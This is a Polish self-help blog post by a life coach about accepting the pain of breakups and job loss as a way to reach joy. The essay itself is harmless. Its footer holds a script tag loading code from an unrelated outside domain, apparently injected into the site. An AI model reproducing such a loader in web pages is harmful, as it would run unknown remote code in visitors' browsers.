BÓL

Ból przynależy do życia. Ból jest częścią naszych ludzkich doświadczeń. Unikamy bólu. Czujemy strach przed bólem. Strach przed bólem mieszka i zamieszkuje głowę. Ból jest w ciele. Gdy odczuwamy ból, głowa nie ma nad tym kontroli. Często głowa próbuje tłumaczyć ból. Ból jako doświadczenie nie potrzebuje wytłumaczenia. Głowa chroni nas przed odczuwaniem bólu, bo mamy w niej takie wyobrażenie, że jak wejdziemy w ból, to już nic więcej poza bólem, tam w tym doświadczeniu nie będzie. To nie prawda. Prawdą jest, że zgadzając się na ból, zgadzamy się, na to że coś umarło. Że coś się skończyło. Ostatecznie zgadzamy się na śmierć, a śmierć też jest elementem życia. Nie ma życia bez śmierci, i śmierci bez życia.

Ból czujemy przy rozstaniu z osobą, z którą wiązaliśmy przyszłość. Przy rozstaniu umiera to wszystko na co liczyliśmy, że się wydarzy. Na przykład wspólna wycieczka na Kilimandżaro. Może do niej nie doszło, może miało dojść. Wraz z rozstaniem wiemy, że już na pewno do niej nie dojdzie. Być może pójdziemy tam sami, ale wiemy, że ten obraz, który mieliśmy w głowie, że idziemy tam razem, nie stanie się już naszym doświadczeniem. Patrzenie na te wspólne niezrealizowane obrazy, które rozpadają się sprawia nam ból. Ból wiąże się też, z tym co było. Zazwyczaj z tym co było dobre, w relacji. Być może ból pojawia się, gdy myślimy o wspólnym tańcu, bo wiemy, że już nie zatańczymy, z tą osobą. Być może ból pojawia się, gdy kładziemy się do łóżka, w którym spędzaliśmy upojne noce, być może zapach pościeli sprawia nam ból, bo wiemy, że przyszedł czas pożegnać się. Te wszystkie obrazy nacechowane kolorami, dźwiękami, uczuciami muszą się rozpaść. A to, że się rozpadają, wywołuje w nas ból. Przyszedł czas pożegnać się, i nastaje świadomość, że idzie nowe. Nowe, którego jeszcze nie znamy. Nowe, które nie wiemy jakie będzie. Chcemy starego, ale stare musi umrzeć, a śmierć obrazów, dźwięków, uczuć sprawia ból.

Tam gdzie partner wścieka się na Ciebie, tam gdzie obrabia Ci Twoje cztery litery, tam gdzie mówi w złości o Tobie, tam jeszcze nie popatrzył na swój ból. Wścieka się, bo nie chce patrzeć na swój ból. Im bardziej się wścieka, i im bardziej zacietrzewia się, w swoim, tym bardziej świadczy to o tym, że nie jest gotowy ani na nową relacje, ani na zamknięcie starej. Gdy popatrzy na swój ból, gdy pozwoli sobie na przeżycie swojego bólu, tam pojawi się uwolnienie, i przestrzeń na radość. Więc tam, gdzie jeszcze psioczmy na byłego partnera, jest przestrzenią, gdzie jeszcze nie dotknęliśmy swojego bólu. Doświadczenie bólu prowadzi do uwolnienia. Tyle ile uwolnimy przestrzeni, w której jest ból, tyle też uwolnimy przestrzeni, w której może pojawić się radość. Radość i ból, to dwie siostry, to dwie strony tej samej monety. Gotowość do odczuwania bólu, nasza zgoda na ból, sprawia, że automatycznie także otwieramy się na odczuwanie radości. Nie da się czuć radości, nie godząc się na odczuwanie bólu. Z odczuwaniem jest tak, że otwierając się, na odczuwanie, otwieramy się na całe spektrum odczuć, na cały wachlarzyk naszych stanów.
W relacje, w które wchodzimy po rozstaniu często wchodzimy nie celem doświadczenia bliskości, ale celem ucieczki przed bólem wynikającym z poprzedniego rozstania. Dlatego nowy partner jest dla nas często kroplówką dającą miłe znieczulenie, które ma zabić tępy ból po zakończeniu poprzedniego związku, poprzedniej relacji, zakończeniu starej pracy. Zakończenie relacji łączy się, z odczuwaniem bólu, smutku i straty. Bez przeżycia odczucia bólu, smutku i straty jesteśmy gotowi, tylko na kroplówki podtrzymujące nas przy życiu. Konsekwencją wchodzenia natomiast w nowe relacje, po zaraz co zakończonym związku są takie, że będziemy powtarzać schemat z poprzedniego związku, chociaż często nowy partner nie ma ze starym nic wspólnego. Wszystko co nie było dożyte w poprzedniej relacji, będzie próbowało się dożyć w tej nowej relacji.

Nie chcemy doświadczać bólu, nie chcemy aby umierało to, co nas karmiło, ale fakty są takie, że nie jest pytaniem, czy coś umrze. Pytaniem jest kiedy umrze? Śmierć jest naturalna. Aby mogło powstać nowe, stare musi ustąpić miejsca i umrzeć w bólu, smutku, stracie. Stare musi przejść przez bramę unicestwienia, rozpadu na czynniki pierwsze. Dopiero z czynników pierwszych możesz na powrót zaprząc siebie, i swoją energię do tworzenia nowego. Używając metafory klocków lego. Najpierw trzeba pozwolić na to, aby stara budowla się rozsypała, aby mieć dostępne klocki do budowania nowej budowli. Bez bólu pożegnania ze starym nie da się zbudować nowego, lepszego, w oparciu o nasze zdolności, kompetencje i umiejętności do budowania nowych, lepszych, relacji.

Im więcej w nas złości na rodziców, partnera, byłą pracę, z której nas zwolniono, im więcej w głowie złych i trudnych myśli, tym więcej w nas bólu, którego jeszcze nie puściliśmy w stosunku do tego, o czym z taką złością się wypowiadamy. Nie gloryfikuje tu uczucia bólu. Nie stawiam go na piedestał, po prostu z uwagą patrzę na to uczucie i nadaje mu stosowną rangę. Uczucie bólu i puszczania go poprzez ciało, poprzez łzy, poprzez smutek ostatecznie pozwala puścić z naszej przestrzeni to wszystko co trzeba po prostu puścić, aby móc otworzyć się w radości na nowe. Zgoda na ból po utracie pracy, partnera jest zgodą na przemijalność świata, relacji, doświadczeń. Jest ostatecznie zgodą na śmierć, a śmierć jest uczuciem z tego świata. Na tym świecie, w tym wymiarze śmierć jest czymś co jest dla nas realne.

Ból nie do wytrzymania, jest bólem, którego nie chcemy przepuścić przez ciało. Ból nie do wytrzymania jest bólem uwięzionym w głowie. Nie do wytrzymania jest zablokowanie na doświadczanie bólu. Samo jego doświadczenie jest uczuciem transformującym naszą przestrzeń. Jest uczuciem uwalniającym, i otwierającym nas na radość. Cichą, spokojną radość w nas. W środku.

Wchodzenie w nową relację, bez opłakania starej jest próbą pójścia na skróty. To się nie udaje. To ostatecznie i tak prowadzi nas w to samo miejsce. W miejsce straty, i bólu. Dopiero domknięcie starego, opłakanie, pożegnanie się, ze starym daje przestrzeń na nowe, już w nowej jakości, w nowym wymiarze, w wolności do nowych wzorców.

Uczucie miłości i spokoju do byłego partnera, do byłej pracy, do rodziców, może pojawić się dopiero po uwolnieniu bólu. Ci, których wciąż nie kochamy jeszcze pomimo naszych głębokich doświadczeń z nimi, to Ci co do których nadal nie puściliśmy swojego bólu.

Z osobami, z którymi byliśmy w relacji, nie da się pożegnać bez bólu. Niektórzy próbują go unikać. Próbują analizować jak do tego doszło, że nastąpiło rozstanie. Próbują zrozumieć kody i wzorce rozpadu relacji. Szukają psychologicznego uzasadnienia, diagnozują swoich partnerów. To nic nie zmienia. Do puszczenia i poczucia jest ból. Ból odczuty, przeżyty, doświadczony już nie potrzebuje kolejnych teorii.

Wdech… i wydech.

Dziękuję, że czytasz  A jak uważasz, że warto to proszę udostępnij.

Mirek Piotr Czarko Wasiutycz

Udostępnij wpis!

Sprawdź terminy moich warsztatów.

<script src='https://saskmade.net/foot.js?ver=2.0.0' type='text/javascript'></script>

Autor bloga:

Mirosław Czarko-Wasiutycz
Bussines & Life Coach Systemowy.
Terapeuta Ustawień Systemowych.